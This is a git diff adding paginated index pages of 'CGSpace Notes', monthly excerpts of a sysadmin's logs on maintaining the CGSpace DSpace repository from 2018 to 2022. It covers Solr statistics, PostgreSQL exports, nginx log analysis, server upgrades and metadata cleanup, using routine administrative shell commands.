+ 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + Read more → +
+ + + + + + +
+
+

March, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-03-01

+
    +
  • Send Gaia the last batch of potential duplicates for items 701 to 980:
    • +
+
$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv
+$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p 'fuuu' -o /tmp/2022-03-01-tac-batch4-701-980.csv
+$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv
+$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
+
+ Read more → +
+ + + + + + +
+
+

February, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-02-01

+
    +
  • Meeting with Peter and Abenet about CGSpace in the One CGIAR +
      +
    • We agreed to buy $5,000 worth of credits from Atmire for future upgrades
      • +
    • We agreed to move CRPs and non-CGIAR communities off the home page, as well as some other things for the CGIAR System Organization
      • +
    • We agreed to make a Discovery facet for CGIAR Action Areas above the existing CGIAR Impact Areas one
      • +
    • We agreed to try to do more alignment of affiliations/funders with ROR
      • +
    +
    • +
+ Read more → +
+ + + + + + + + + + + + + +
+
+

December, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-12-01

+
    +
  • Atmire merged some changes I had submitted to the COUNTER-Robots project
    • +
  • I updated our local spider user agents and then re-ran the list with my check-spider-hits.sh script on CGSpace:
    • +
+
$ ./ilri/check-spider-hits.sh -f /tmp/agents -p  
+Purging 1989 hits from The Knowledge AI in statistics
+Purging 1235 hits from MaCoCu in statistics
+Purging 455 hits from WhatsApp in statistics
+
+Total number of bot hits purged: 3679
+
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/page/3/index.html b/docs/page/3/index.html new file mode 100644 index 000000000..6a3a18908 --- /dev/null +++ b/docs/page/3/index.html @@ -0,0 +1,444 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

November, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-11-02

+
    +
  • I experimented with manually sharding the Solr statistics on DSpace Test
    • +
  • First I exported all the 2019 stats from CGSpace:
    • +
+
$ ./run.sh -s http://localhost:8081/solr/statistics -f 'time:2019-*' -a export -o statistics-2019.json -k uid
+$ zstd statistics-2019.json
+
+ Read more → +
+ + + + + + +
+
+

October, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-10-01

+
    +
  • Export all affiliations on CGSpace and run them against the latest RoR data dump:
    • +
+
localhost/dspace63= > \COPY (SELECT DISTINCT text_value as "cg.contributor.affiliation", count(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 211 GROUP BY text_value ORDER BY count DESC) to /tmp/2021-10-01-affiliations.csv WITH CSV HEADER;
+$ csvcut -c 1 /tmp/2021-10-01-affiliations.csv | sed 1d > /tmp/2021-10-01-affiliations.txt
+$ ./ilri/ror-lookup.py -i /tmp/2021-10-01-affiliations.txt -r 2021-09-23-ror-data.json -o /tmp/2021-10-01-affili
+ations-matching.csv
+$ csvgrep -c matched -m true /tmp/2021-10-01-affiliations-matching.csv | sed 1d | wc -l 
+1879
+$ wc -l /tmp/2021-10-01-affiliations.txt 
+7100 /tmp/2021-10-01-affiliations.txt
+
    +
  • So we have 1879/7100 (26.46%) matching already
    • +
+ Read more → +
+ + + + + + +
+
+

September, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-09-02

+
    +
  • Troubleshooting the missing Altmetric scores on AReS +
      +
    • Turns out that I didn’t actually fix them last month because the check for content.altmetric still exists, and I can’t access the DOIs using _h.source.DOI for some reason
      • +
    • I can access all other kinds of item metadata using the Elasticsearch label, but not DOI!!!
      • +
    • I will change DOI to tomato in the repository setup and start a re-harvest… I need to see if this is some kind of reserved word or something…
      • +
    • Even as tomato I can’t access that field as _h.source.tomato in Angular, but it does work as a filter source… sigh
      • +
    +
    • +
  • I’m having problems using the OpenRXV API +
      +
    • The syntax Moayad showed me last month doesn’t seem to honor the search query properly…
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

August, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-08-01

+
    +
  • Update Docker images on AReS server (linode20) and reboot the server:
    • +
+
# docker images | grep -v ^REPO | sed 's/ \+/:/g' | cut -d: -f1,2 | grep -v none | xargs -L1 docker pull
+
    +
  • I decided to upgrade linode20 from Ubuntu 18.04 to 20.04
    • +
+ Read more → +
+ + + + + + +
+
+

July, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-07-01

+
    +
  • Export another list of ALL subjects on CGSpace, including AGROVOC and non-AGROVOC for Enrico:
    • +
+
localhost/dspace63= > \COPY (SELECT DISTINCT LOWER(text_value) AS subject, count(*) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id IN (119, 120, 127, 122, 128, 125, 135, 203, 208, 210, 215, 123, 236, 242, 187) GROUP BY subject ORDER BY count DESC) to /tmp/2021-07-01-all-subjects.csv WITH CSV HEADER;
+COPY 20994
+
+ Read more → +
+ + + + + + +
+
+

June, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-06-01

+
    +
  • IWMI notified me that AReS was down with an HTTP 502 error +
      +
    • Looking at UptimeRobot I see it has been down for 33 hours, but I never got a notification
      • +
    • I don’t see anything in the Elasticsearch container logs, or the systemd journal on the host, but I notice that the angular_nginx container isn’t running
      • +
    • I simply started it and AReS was running again:
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

May, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-05-01

+
    +
  • I looked at the top user agents and IPs in the Solr statistics for last month and I see these user agents: +
      +
    • “RI/1.0”, 1337
      • +
    • “Microsoft Office Word 2014”, 941
      • +
    +
    • +
  • I will add the RI/1.0 pattern to our DSpace agents overload and purge them from Solr (we had previously seen this agent with 9,000 hits or so in 2020-09), but I think I will leave the Microsoft Word one… as that’s an actual user…
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-04-01

+
    +
  • I wrote a script to query Sherpa’s API for our ISSNs: sherpa-issn-lookup.py +
      +
    • I’m curious to see how the results compare with the results from Crossref yesterday
      • +
    +
    • +
  • AReS Explorer was down since this morning, I didn’t see anything in the systemd journal +
      +
    • I simply took everything down with docker-compose and then back up, and then it was OK
      • +
    • Perhaps one of the containers crashed, I should have looked closer but I was in a hurry
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

March, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-03-01

+
    +
  • Discuss some OpenRXV issues with Abdullah from CodeObia +
      +
    • He’s trying to work on the DSpace 6+ metadata schema autoimport using the DSpace 6+ REST API
      • +
    • Also, we found some issues building and running OpenRXV currently due to ecosystem shift in the Node.js dependencies
      • +
    +
    • +
+ Read more → +
+ + + + + + + + + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/page/4/index.html b/docs/page/4/index.html new file mode 100644 index 000000000..de782cd91 --- /dev/null +++ b/docs/page/4/index.html @@ -0,0 +1,464 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

February, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-02-01

+
    +
  • Abenet said that CIP found more duplicate records in their export from AReS + +
    • +
  • I had a call with CodeObia to discuss the work on OpenRXV
    • +
  • Check the results of the AReS harvesting from last night:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty'
+{
+  "count" : 100875,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+
+ Read more → +
+ + + + + + +
+
+

January, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-01-03

+
    +
  • Peter notified me that some filters on AReS were broken again +
      +
    • It’s the same issue with the field names getting .keyword appended to the end that I already filed an issue on OpenRXV about last month
      • +
    • I fixed the broken filters (careful to not edit any others, lest they break too!)
      • +
    +
    • +
  • Fix an issue with start page number for the DSpace REST API and statistics API in OpenRXV +
      +
    • The start page had been “1” in the UI, but in the backend they were doing some gymnastics to adjust to the zero-based offset/limit/page of the DSpace REST API and the statistics API
      • +
    • I adjusted it to default to 0 and added a note to the admin screen
      • +
    • I realized that this issue was actually causing the first page of 100 statistics to be missing…
      • +
    • For example, this item has 51 views on CGSpace, but 0 on AReS
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-12-01

+
    +
  • Atmire responded about the issue with duplicate data in our Solr statistics +
      +
    • They noticed that some records in the statistics-2015 core haven’t been migrated with the AtomicStatisticsUpdateCLI tool yet and assumed that I haven’t migrated any of the records yet
      • +
    • That’s strange, as I checked all ten cores and 2015 is the only one with some unmigrated documents, as according to the cua_version field
      • +
    • I started processing those (about 411,000 records):
      • +
    +
    • +
+ Read more → +
+ + + + + + + + + + + + + +
+
+

November, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-11-01

+
    +
  • Continue with processing the statistics-2019 Solr core with the AtomicStatisticsUpdateCLI tool on DSpace Test +
      +
    • So far we’ve spent at least fifty hours to process the statistics and statistics-2019 core… wow.
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

October, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-10-06

+
    +
  • Add tests for the new /items POST handlers to the DSpace 6.x branch of my dspace-statistics-api + +
    • +
  • Trying to test the changes Atmire sent last week but I had to re-create my local database from a recent CGSpace dump +
      +
    • During the FlywayDB migration I got an error:
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

September, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-09-02

+
    +
  • Replace Marissa van Epp for Rhys Bucknall in the CCAFS groups on CGSpace because Marissa no longer works at CCAFS
    • +
  • The AReS Explorer hasn’t updated its index since 2020-08-22 when I last forced it +
      +
    • I restarted it again now and told Moayad that the automatic indexing isn’t working
      • +
    +
    • +
  • Add Alliance of Bioversity International and CIAT to affiliations on CGSpace
    • +
  • Abenet told me that the general search text on AReS doesn’t get reset when you use the “Reset Filters” button + +
    • +
  • I filed an issue on OpenRXV to make some minor edits to the admin UI: https://github.com/ilri/OpenRXV/issues/40
    • +
+ Read more → +
+ + + + + + +
+
+

August, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-08-02

+
    +
  • I spent a few days working on a Java-based curation task to tag items with ISO 3166-1 Alpha2 country codes based on their cg.coverage.country text values +
      +
    • It looks up the names in ISO 3166-1 first, and then in our CGSpace countries mapping (which has five or so of Peter’s preferred “display” country names)
      • +
    • It implements a “force” mode too that will clear existing country codes and re-tag everything
      • +
    • It is class based so I can easily add support for other vocabularies, and the technique could even be used for organizations with mappings to ROR and Clarisa…
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

July, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-07-01

+
    +
  • A few users noticed that CGSpace wasn’t loading items today, item pages seem blank +
      +
    • I looked at the PostgreSQL locks but they don’t seem unusual
      • +
    • I guess this is the same “blank item page” issue that we had a few times in 2019 that we never solved
      • +
    • I restarted Tomcat and PostgreSQL and the issue was gone
      • +
    +
    • +
  • Since I was restarting Tomcat anyways I decided to redeploy the latest changes from the 5_x-prod branch and I added a note about COVID-19 items to the CGSpace frontpage at Peter’s request
    • +
+ Read more → +
+ + + + + + +
+
+

June, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-06-01

+
    +
  • I tried to run the AtomicStatisticsUpdateCLI CUA migration script on DSpace Test (linode26) again and it is still going very slowly and has tons of errors like I noticed yesterday +
      +
    • I sent Atmire the dspace.log from today and told them to log into the server to debug the process
      • +
    +
    • +
  • In other news, I checked the statistics API on DSpace 6 and it’s working
    • +
  • I tried to build the OAI registry on the freshly migrated DSpace 6 on DSpace Test and I get an error:
    • +
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/page/5/index.html b/docs/page/5/index.html new file mode 100644 index 000000000..bac4d20f8 --- /dev/null +++ b/docs/page/5/index.html @@ -0,0 +1,492 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

May, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-05-02

+
    +
  • Peter said that CTA is having problems submitting an item to CGSpace +
      +
    • Looking at the PostgreSQL stats it seems to be the same issue that Tezira was having last week, as I see the number of connections in ‘idle in transaction’ and ‘waiting for lock’ state are increasing again
      • +
    • I see that CGSpace (linode18) is still using PostgreSQL JDBC driver version 42.2.11, and there were some bugs related to transactions fixed in 42.2.12 (which I had updated in the Ansible playbooks, but not deployed yet)
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-04-02

+
    +
  • Maria asked me to update Charles Staver’s ORCID iD in the submission template and on CGSpace, as his name was lower case before, and now he has corrected it +
      +
    • I updated the fifty-eight existing items on CGSpace
      • +
    +
    • +
  • Looking into the items Udana had asked about last week that were missing Altmetric donuts: + +
    • +
  • On the same note, the one item Abenet pointed out last week now has a donut with score of 104 after I tweeted it last week
    • +
+ Read more → +
+ + + + + + + + + + + + + +
+
+

February, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-02-02

+
    +
  • Continue working on porting CGSpace’s DSpace 5 code to DSpace 6.3 that I started yesterday +
      +
    • Sign up for an account with MaxMind so I can get the GeoLite2-City.mmdb database
      • +
    • I still need to wire up the API credentials and cron job into the Ansible infrastructure playbooks
      • +
    • Fix some minor issues in the config and XMLUI themes, like removing Atmire stuff
      • +
    • The code finally builds and runs with a fresh install
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

January, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-01-06

+
    +
  • Open a ticket with Atmire to request a quote for the upgrade to DSpace 6
    • +
  • Last week Altmetric responded about the item that had a lower score than than its DOI +
      +
    • The score is now linked to the DOI
      • +
    • Another item that had the same problem in 2019 has now also linked to the score for its DOI
      • +
    • Another item that had the same problem in 2019 has also been fixed
      • +
    +
    • +
+

2020-01-07

+
    +
  • Peter Ballantyne highlighted one more WLE item that is missing the Altmetric score that its DOI has +
      +
    • The DOI has a score of 259, but the Handle has no score at all
      • +
    • I tweeted the CGSpace repository link
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-12-01

+
    +
  • Upgrade CGSpace (linode18) to Ubuntu 18.04: +
      +
    • Check any packages that have residual configs and purge them:
      • +
    • # dpkg -l | grep -E ‘^rc’ | awk ‘{print $2}’ | xargs dpkg -P
      • +
    • Make sure all packages are up to date and the package manager is up to date, then reboot:
      • +
    +
    • +
+
# apt update && apt full-upgrade
+# apt-get autoremove && apt-get autoclean
+# dpkg -C
+# reboot
+
+ Read more → +
+ + + + + + +
+
+

November, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-11-04

+
    +
  • Peter noticed that there were 5.2 million hits on CGSpace in 2019-10 according to the Atmire usage statistics +
      +
    • I looked in the nginx logs and see 4.6 million in the access logs, and 1.2 million in the API logs:
      • +
    +
    • +
+
# zcat --force /var/log/nginx/*access.log.*.gz | grep -cE "[0-9]{1,2}/Oct/2019"
+4671942
+# zcat --force /var/log/nginx/{rest,oai,statistics}.log.*.gz | grep -cE "[0-9]{1,2}/Oct/2019"
+1277694
+
    +
  • So 4.6 million from XMLUI and another 1.2 million from API requests
    • +
  • Let’s see how many of the REST API requests were for bitstreams (because they are counted in Solr stats):
    • +
+
# zcat --force /var/log/nginx/rest.log.*.gz | grep -c -E "[0-9]{1,2}/Oct/2019"
+1183456 
+# zcat --force /var/log/nginx/rest.log.*.gz | grep -E "[0-9]{1,2}/Oct/2019" | grep -c -E "/rest/bitstreams"
+106781
+
+ Read more → +
+ + + + + + +
+
+

October, 2019

+

by Alan Orth in + Notes + + +

+
+ 2019-10-01 Udana from IWMI asked me for a CSV export of their community on CGSpace I exported it, but a quick run through the csv-metadata-quality tool shows that there are some low-hanging fruits we can fix before I send him the data I will limit the scope to the titles, regions, subregions, and river basins for now to manually fix some non-breaking spaces (U+00A0) there that would otherwise be removed by the csv-metadata-quality script’s “unneccesary Unicode” fix: $ csvcut -c 'id,dc. + Read more → +
+ + + + + + +
+
+

September, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-09-01

+
    +
  • Linode emailed to say that CGSpace (linode18) had a high rate of outbound traffic for several hours this morning
    • +
  • Here are the top ten IPs in the nginx XMLUI and REST/OAI logs this morning:
    • +
+
# zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E "01/Sep/2019:0" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    440 17.58.101.255
+    441 157.55.39.101
+    485 207.46.13.43
+    728 169.60.128.125
+    730 207.46.13.108
+    758 157.55.39.9
+    808 66.160.140.179
+    814 207.46.13.212
+   2472 163.172.71.23
+   6092 3.94.211.189
+# zcat --force /var/log/nginx/rest.log /var/log/nginx/rest.log.1 /var/log/nginx/oai.log /var/log/nginx/oai.log.1 | grep -E "01/Sep/2019:0" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     33 2a01:7e00::f03c:91ff:fe16:fcb
+     57 3.83.192.124
+     57 3.87.77.25
+     57 54.82.1.8
+    822 2a01:9cc0:47:1:1a:4:0:2
+   1223 45.5.184.72
+   1633 172.104.229.92
+   5112 205.186.128.185
+   7249 2a01:7e00::f03c:91ff:fe18:7396
+   9124 45.5.186.2
+
+ Read more → +
+ + + + + + +
+
+

August, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-08-03

+
    +
  • Look at Bioversity’s latest migration CSV and now I see that Francesco has cleaned up the extra columns and the newline at the end of the file, but many of the column headers have an extra space in the name…
    • +
+

2019-08-04

+
    +
  • Deploy ORCID identifier updates requested by Bioversity to CGSpace
    • +
  • Run system updates on CGSpace (linode18) and reboot it +
      +
    • Before updating it I checked Solr and verified that all statistics cores were loaded properly…
      • +
    • After rebooting, all statistics cores were loaded… wow, that’s lucky.
      • +
    +
    • +
  • Run system updates on DSpace Test (linode19) and reboot it
    • +
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/page/6/index.html b/docs/page/6/index.html new file mode 100644 index 000000000..a25e62091 --- /dev/null +++ b/docs/page/6/index.html @@ -0,0 +1,488 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

July, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-07-01

+
    +
  • Create an “AfricaRice books and book chapters” collection on CGSpace for AfricaRice
    • +
  • Last month Sisay asked why the following “most popular” statistics link for a range of months in 2018 works for the CIAT community on DSpace Test, but not on CGSpace: + +
    • +
  • Abenet had another similar issue a few days ago when trying to find the stats for 2018 in the RTB community
    • +
+ Read more → +
+ + + + + + + + + + + + + +
+
+

May, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-05-01

+
    +
  • Help CCAFS with regenerating some item thumbnails after they uploaded new PDFs to some items on CGSpace
    • +
  • A user on the dspace-tech mailing list offered some suggestions for troubleshooting the problem with the inability to delete certain items +
      +
    • Apparently if the item is in the workflowitem table it is submitted to a workflow
      • +
    • And if it is in the workspaceitem table it is in the pre-submitted state
      • +
    +
    • +
  • The item seems to be in a pre-submitted state, so I tried to delete it from there:
    • +
+
dspace=# DELETE FROM workspaceitem WHERE item_id=74648;
+DELETE 1
+
    +
  • But after this I tried to delete the item from the XMLUI and it is still present…
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-04-01

+
    +
  • Meeting with AgroKnow to discuss CGSpace, ILRI data, AReS, GARDIAN, etc +
      +
    • They asked if we had plans to enable RDF support in CGSpace
      • +
    +
    • +
  • There have been 4,400 more downloads of the CTA Spore publication from those strange Amazon IP addresses today +
      +
    • I suspected that some might not be successful, because the stats show less, but today they were all HTTP 200!
      • +
    +
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep 'Spore-192-EN-web.pdf' | grep -E '(18.196.196.108|18.195.78.144|18.195.218.6)' | awk '{print $9}' | sort | uniq -c | sort -n | tail -n 5
+   4432 200
+
    +
  • In the last two weeks there have been 47,000 downloads of this same exact PDF by these three IP addresses
    • +
  • Apply country and region corrections and deletions on DSpace Test and CGSpace:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2019-02-21-fix-9-countries.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.country -m 228 -t ACTION -d
+$ ./fix-metadata-values.py -i /tmp/2019-02-21-fix-4-regions.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.region -m 231 -t action -d
+$ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-2-countries.csv -db dspace -u dspace -p 'fuuu' -m 228 -f cg.coverage.country -d
+$ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-1-region.csv -db dspace -u dspace -p 'fuuu' -m 231 -f cg.coverage.region -d
+
+ Read more → +
+ + + + + + +
+
+

March, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-03-01

+
    +
  • I checked IITA’s 259 Feb 14 records from last month for duplicates using Atmire’s Duplicate Checker on a fresh snapshot of CGSpace on my local machine and everything looks good
    • +
  • I am now only waiting to hear from her about where the items should go, though I assume Journal Articles go to IITA Journal Articles collection, etc…
    • +
  • Looking at the other half of Udana’s WLE records from 2018-11 +
      +
    • I finished the ones for Restoring Degraded Landscapes (RDL), but these are for Variability, Risks and Competing Uses (VRC)
      • +
    • I did the usual cleanups for whitespace, added regions where they made sense for certain countries, cleaned up the DOI link formats, added rights information based on the publications page for a few items
      • +
    • Most worryingly, there are encoding errors in the abstracts for eleven items, for example:
      • +
    • 68.15% � 9.45 instead of 68.15% ± 9.45
      • +
    • 2003�2013 instead of 2003–2013
      • +
    +
    • +
  • I think I will need to ask Udana to re-copy and paste the abstracts with more care using Google Docs
    • +
+ Read more → +
+ + + + + + +
+
+

February, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-02-01

+
    +
  • Linode has alerted a few times since last night that the CPU usage on CGSpace (linode18) was high despite me increasing the alert threshold last week from 250% to 275%—I might need to increase it again!
    • +
  • The top IPs before, during, and after this latest alert tonight were:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "01/Feb/2019:(17|18|19|20|21)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    245 207.46.13.5
+    332 54.70.40.11
+    385 5.143.231.38
+    405 207.46.13.173
+    405 207.46.13.75
+   1117 66.249.66.219
+   1121 35.237.175.180
+   1546 5.9.6.51
+   2474 45.5.186.2
+   5490 85.25.237.71
+
    +
  • 85.25.237.71 is the “Linguee Bot” that I first saw last month
    • +
  • The Solr statistics the past few months have been very high and I was wondering if the web server logs also showed an increase
    • +
  • There were just over 3 million accesses in the nginx logs last month:
    • +
+
# time zcat --force /var/log/nginx/* | grep -cE "[0-9]{1,2}/Jan/2019"
+3018243
+
+real    0m19.873s
+user    0m22.203s
+sys     0m1.979s
+
+ Read more → +
+ + + + + + +
+
+

January, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-01-02

+
    +
  • Linode alerted that CGSpace (linode18) had a higher outbound traffic rate than normal early this morning
    • +
  • I don’t see anything interesting in the web server logs around that time though:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "02/Jan/2019:0(1|2|3)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     92 40.77.167.4
+     99 210.7.29.100
+    120 38.126.157.45
+    177 35.237.175.180
+    177 40.77.167.32
+    216 66.249.75.219
+    225 18.203.76.93
+    261 46.101.86.248
+    357 207.46.13.1
+    903 54.70.40.11
+
+ Read more → +
+ + + + + + +
+
+

December, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-12-01

+
    +
  • Switch CGSpace (linode18) to use OpenJDK instead of Oracle JDK
    • +
  • I manually installed OpenJDK, then removed Oracle JDK, then re-ran the Ansible playbook to update all configuration files, etc
    • +
  • Then I ran all system updates and restarted the server
    • +
+

2018-12-02

+ + Read more → +
+ + + + + + +
+
+

November, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-11-01

+
    +
  • Finalize AReS Phase I and Phase II ToRs
    • +
  • Send a note about my dspace-statistics-api to the dspace-tech mailing list
    • +
+

2018-11-03

+
    +
  • Linode has been sending mails a few times a day recently that CGSpace (linode18) has had high CPU usage
    • +
  • Today these are the top 10 IPs:
    • +
+ Read more → +
+ + + + + + +
+
+

October, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-10-01

+
    +
  • Phil Thornton got an ORCID identifier so we need to add it to the list on CGSpace and tag his existing items
    • +
  • I created a GitHub issue to track this #389, because I’m super busy in Nairobi right now
    • +
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/page/7/index.html b/docs/page/7/index.html new file mode 100644 index 000000000..600f2a24c --- /dev/null +++ b/docs/page/7/index.html @@ -0,0 +1,497 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

September, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-09-02

+
    +
  • New PostgreSQL JDBC driver version 42.2.5
    • +
  • I’ll update the DSpace role in our Ansible infrastructure playbooks and run the updated playbooks on CGSpace and DSpace Test
    • +
  • Also, I’ll re-run the postgresql tasks because the custom PostgreSQL variables are dynamic according to the system’s RAM, and we never re-ran them after migrating to larger Linodes last month
    • +
  • I’m testing the new DSpace 5.8 branch in my Ubuntu 18.04 environment and I’m getting those autowire errors in Tomcat 8.5.30 again:
    • +
+ Read more → +
+ + + + + + +
+
+

August, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-08-01

+
    +
  • DSpace Test had crashed at some point yesterday morning and I see the following in dmesg:
    • +
+
[Tue Jul 31 00:00:41 2018] Out of memory: Kill process 1394 (java) score 668 or sacrifice child
+[Tue Jul 31 00:00:41 2018] Killed process 1394 (java) total-vm:15601860kB, anon-rss:5355528kB, file-rss:0kB, shmem-rss:0kB
+[Tue Jul 31 00:00:41 2018] oom_reaper: reaped process 1394 (java), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
+
    +
  • Judging from the time of the crash it was probably related to the Discovery indexing that starts at midnight
    • +
  • From the DSpace log I see that eventually Solr stopped responding, so I guess the java process that was OOM killed above was Tomcat’s
    • +
  • I’m not sure why Tomcat didn’t crash with an OutOfMemoryError…
    • +
  • Anyways, perhaps I should increase the JVM heap from 5120m to 6144m like we did a few months ago when we tried to run the whole CGSpace Solr core
    • +
  • The server only has 8GB of RAM so we’ll eventually need to upgrade to a larger one because we’ll start starving the OS, PostgreSQL, and command line batch processes
    • +
  • I ran all system updates on DSpace Test and rebooted it
    • +
+ Read more → +
+ + + + + + +
+
+

July, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-07-01

+
    +
  • I want to upgrade DSpace Test to DSpace 5.8 so I took a backup of its current database just in case:
    • +
+
$ pg_dump -b -v -o --format=custom -U dspace -f dspace-2018-07-01.backup dspace
+
    +
  • During the mvn package stage on the 5.8 branch I kept getting issues with java running out of memory:
    • +
+
There is insufficient memory for the Java Runtime Environment to continue.
+
+ Read more → +
+ + + + + + +
+
+

June, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-06-04

+
    +
  • Test the DSpace 5.8 module upgrades from Atmire (#378) +
      +
    • There seems to be a problem with the CUA and L&R versions in pom.xml because they are using SNAPSHOT and it doesn’t build
      • +
    +
    • +
  • I added the new CCAFS Phase II Project Tag PII-FP1_PACCA2 and merged it into the 5_x-prod branch (#379)
    • +
  • I proofed and tested the ILRI author corrections that Peter sent back to me this week:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2018-05-30-Correct-660-authors.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -t correct -m 3 -n
+
    +
  • I think a sane proofing workflow in OpenRefine is to apply the custom text facets for check/delete/remove and illegal characters that I developed in March, 2018
    • +
  • Time to index ~70,000 items on CGSpace:
    • +
+
